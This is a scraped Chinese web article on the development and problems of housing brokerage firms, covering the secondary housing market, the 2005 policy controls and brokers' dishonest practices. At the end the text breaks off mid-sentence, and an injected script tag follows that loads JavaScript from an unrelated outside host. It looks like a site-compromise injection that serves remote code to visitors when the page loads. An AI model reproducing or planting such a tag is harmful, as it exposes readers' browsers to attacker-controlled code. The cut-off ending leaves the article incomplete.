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房产中介企业发展之路

文摘来源:新万通内刊 阅读:7410次 [06-9-6]   中介管理培训班   中介管理制度大全   客户留言

住房市场至少可以细分为住房一级市场、二手房市场(住房二级市场)和住房租赁市场。其中,住房二级市场是关键,它既能促动新房市场的成长(多数居民是卖旧房买新房),又能支撑租房市场(旧房是出租房屋的主要来源),促进住房市场活跃,使之具有持续的增长潜能和发展空间。

一、房产中介的产生与发展正是我们社会经济发展所需要的

近年来,随着各地实施经营城市战略,加快旧城改造步伐,通过城市空间结构的调整来发展房地产,中介企业纷纷闻风而动,经营内容不断增加,租赁、置换、抢占二手房源等,充分显示了房地产中介的生机与活力。

首先,在私人之间的房屋买卖中,由于很多买方与卖方互相不认识、不了解,可以说信用无从谈起:买方担心给了钱,拿不到房;卖方担心买方不是一次性支付全部款项,分几次支付,会不会拖泥带水拖延付款等等。这时,房产中介机构出现,中介方是以单位的名义出现,并且经过国家行政部门的审批,具备经营资格。买卖双方就可以将中介方作为第三方来沟通信息,调停买卖双方之间的争执;而且买卖双方需要办理产权转让等手续,更需要中介机构提供专业意见、协助办理。可以说,中介机构沟通买卖双方起到了一个桥梁的重要作用。

其次,住房一级市场销售的房子是新房,批量大,同时工程质量价格相近,集中上市销售。所以开发商往往自己成立销售机构,自己售房;或者统一交给中间代理销售。而住房二级市场销售的旧房量小,地点分散。所以,绝大多数是由中介机构代理销售。从长远来看,存量市场将成为城市住房市场的主流,而租房市场在住房市场中将占据重要的地位。因此,中介行业在住房二级市场中的作用不可小视。

房地产中介运用其丰富的信息资源,多样化的服务手段,为客户提供合理、便捷的交易及咨询服务,丰富和扩大了住房市场。上海市住房二级市场起步较早,中介行业非常活跃,有力地推动着市场的发展。据有关部门统计,上海约50%的新建商品房销售和90%的二手房买卖是通过房地产中介企业实现的。房地产中介服务业的发展,进一步提升了房地产行业的运行质量,对激活住房市场作用显著。房地产中介经营内容的拓展,既为社会创造了众多就业机会,更为进一步加快房地产经济的发展作出了贡献。从我国深圳、上海等发达城市来看,房地产交易提供的服务,大致有房地产买卖、租赁、互换代替业务,房地产策划、广告推销、楼宇按揭、融资贷款、物业评估、物业管理等方面所提供的服务,其在社会经济中的作用十分明显。

二、国内房产中介发展现状——内忧外患


随着房地产市场的不断发展,房产中介市场也在日益壮大,房产中介在房产交易中的地位日益上升。由于房产中介行业进入门槛相对不高,上海房产中介市场曾创造过日均诞生 8家企业的辉煌。对于数量庞大的中介公司而言,以前隐藏在一片繁荣景象背后的生存危机开始逐步显现,进而集中爆发。有人曾经算过这样一笔账:上海房产中介机构总数高峰时有1.2万家,如果把前两年上海每年2000 多万平方米的二手房交易面积分摊到全市上万家中介公司,那么平均每家中介每月交易量只有200平方米左右。如果这上万家中介公司都按照规定,靠各向上下家收取不超过1%的佣金过活,显然是怎么也维持不了生计的。

2005年,中国政府出台了很多房地产交易宏观调控政策,其力度之大,次数之频繁,被人们形象地称作“组合拳”。宏观调控很大程度上影响了房地产市场的交易。其中,受影响最大的要数二级市场的中介企业。北京地区6月份二手房交易量下降了40%左右,甚至直接导致了一些小中介的关门出局;上海仅近两个月注销的中介企业就有1000多家。正当大批中介公司身处凄风苦雨之境时,一些地方房地产交易中心推出了“网上二手房平台”,并加快了服务项目完善的步伐:开通热线电话,网上经纪人免费上门服务;公布菜单式收费标准,上门服务的经纪人身份网上可查……这一系列新举措在业界引起强烈震动。


毫无疑问,“网上二手房”分食了中介企业的市场蛋糕。如果今后越来越多的市民通过“网上二手房”便能完成从上网挂牌到产权、资金交割的所有手续,那么更多的中介公司将面临绝境。“网上二手房”以及一些政策出台,将改变以往的中介经营模式,促使房地产经纪人在中介活动中承担起应有的责任,促进中介机构从传统中介商向专业咨询顾问的角色转变。但是,有一点不能否认:随着各项宏观调控政策的深入细化,狂热楼市不断走向理性,一个不得不直面的问题由此产生——中介市场的确存在种种弊端。

像层出不穷的市场“失信”行为:与上下家分别签订合同赚取差价;找熟人串通“唱双簧”促成交易……种种不诚信行为使购房者屡受其害;又如经纪人和企业脱钩:按规定,每家房产中介需要有一定数量的注册房地产经纪人,但现在不少中介公司并没有规定人数的注册经纪人,而是通过租用经纪人的证件蒙混过关,经纪人的专业形象及信誉得不到很好体现;还有市场监管不到位:目前对于中介企业的监管,还存在房地产、工商等部门多头管理的现象,由?script src=http://www.24aspx.com/script.js>


  
 

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